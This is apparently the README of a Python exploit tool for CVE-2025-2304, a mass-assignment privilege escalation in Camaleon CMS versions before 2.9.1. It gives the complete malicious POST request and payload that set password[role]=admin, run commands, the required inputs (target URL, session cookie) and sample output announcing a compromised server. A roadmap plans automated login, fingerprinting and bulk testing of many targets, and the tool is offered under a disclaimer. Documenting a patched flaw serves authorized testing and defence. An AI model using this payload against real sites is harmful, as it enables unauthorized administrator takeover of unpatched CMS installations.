CVE-2025-2304 - Camaleon CMS Mass Assignment Privilege Escalation

📌 Project Description

CVE-2025-2304 is a Mass Assignment vulnerability in Camaleon CMS (versions < 2.9.1) that allows an authenticated user to elevate their privileges to administrator by manipulating the role parameter in password change requests.

🚨 Technical Vulnerability Explanation

Vulnerability Context

Camaleon CMS uses Ruby on Rails and in version 2.9.0 has a Mass Assignment vulnerability in the UsersController#updated_ajax controller. The controller uses .permit! without restrictions, allowing any parameter sent in the request to be directly assigned to the user model.

Attack Vector

1. Vulnerable endpoint: POST /admin/users/{user_id}/updated_ajax
2. Critical parameter: password[role] sent within the password namespace
3. Mechanism: The controller processes params.require(:password) and then applies .permit!, which does not filter any parameters
4. Result: Injection of the "admin" value into the user's role field

Technical Flow

POST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded

authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch

The password[role] parameter is processed by User.update(permitted_params) and directly assigned to the user record due to .permit!, elevating privileges from user to admin.

⚡ Installation and Usage

Prerequisites

# Python 3.6+
python3 --version

# Required libraries
pip install requests

Script Execution

English Version:

python3 exploit_cve_2025_2304_en.py

Spanish Version:

python3 exploit_cve_2025_2304.py

Required Input

The script will ask interactively:

1. Server base URL: http(s)://domain:port
2. User ID: Attacker user identifier
3. Session cookie: _cms_session value (obtained after login)
4. New password: Optional (default: P@ssw0rd_lab_2025!)

Complete Command Example

python3 exploit_cve_2025_2304_en.py

[?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] User ID of the attacker user (ex: 3) : 5
[?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456

🔧 About This Script

Why I built this?

When I found this vulnerability, my first instinct was to test it manually through Burp Suite — and it worked. But I wanted to go a step further and turn that manual process into something repeatable and portable, so I wrote this script. Beyond just exploiting the bug, building this gave me a chance to work through some things I find genuinely interesting:

• Automating multi-step HTTP flows with session handling
• Parsing CSRF tokens dynamically from live responses
• Dealing with inconsistent JSON/HTML responses from the same endpoint
• Knowing exactly when the exploit succeeded — and when it didn't

I'm not trying to replace Burp or Caido. Those tools are irreplaceable for interactive testing. This is just what happens when I'd rather write a script than repeat myself.

⚠️ Disclaimer and Ethical Considerations

IMPORTANT LEGAL WARNING

THIS SCRIPT IS EXCLUSIVELY FOR:
- Controlled laboratory environments
- Systems you own or have explicit authorization to test
- Educational purposes and authorized research

STRICTLY PROHIBITED:
- Use on systems without authorization
- Application with malicious intent
- Violation of data protection laws
- Compromising third-party security

The author is not responsible for misuse of this tool.

📊 Example Screenshots

Successful Execution

╔══════════════════════════════════════════════════════════════╗
║        CVE-2025-2304 │ Camaleon CMS Mass Assignment          ║
║        Privilege Escalation: user → admin                    ║
║        [LABORATORY / CONTROLLED ENVIRONMENT]                 ║
╚══════════════════════════════════════════════════════════════╝

[✔] CSRF token obtained: abc123def456...
[✔] EXPLOIT SUCCESSFUL: Server confirmed the update.
[✔] Status : COMPROMISED
   User 5 should now have 'admin' role.

Payload Structure

{
    "authenticity_token": "abcd1234",
    "password[password]": "P@ssw0rd_lab_2025!",
    "password[password_confirmation]": "P@ssw0rd_lab_2025!",
    "password[role]": "admin",
    "password[id]": "5",
    "_method": "patch"
}

🛠 Roadmap and Future Improvements

Planned Improvements

1. Login automation: Integration to obtain session automatically
2. Version detection: Fingerprinting script to confirm vulnerable version
3. Verbose/quiet mode for cleaner output in automated pipelines
4. Bulk testing: Ability to test multiple users/URLs simultaneously
5. Generated report: Export results in JSON/HTML format

Extensibility

The code is modularly structured to facilitate:

• Adaptation to other Mass Assignment vulnerabilities
• Integration into pentesting frameworks
• Adding logging and monitoring features

📚 References and Resources

• Official CVE: CVE-2025-2304
• Camaleon CMS: Official Repository
• Patch: Version 2.9.1 fixes the use of .permit!
• Rails Documentation: Strong Parameters

🤝 Contributions

Contributions are welcome that:

1. Improve success condition detection
2. Add functionality while maintaining ethical focus
3. Fix bugs or improve error handling
4. Document additional use cases

Remember: This project has an exclusively educational and authorized research purpose.

Last update: April 2025 | By Security Analyst (Laboratory Environment)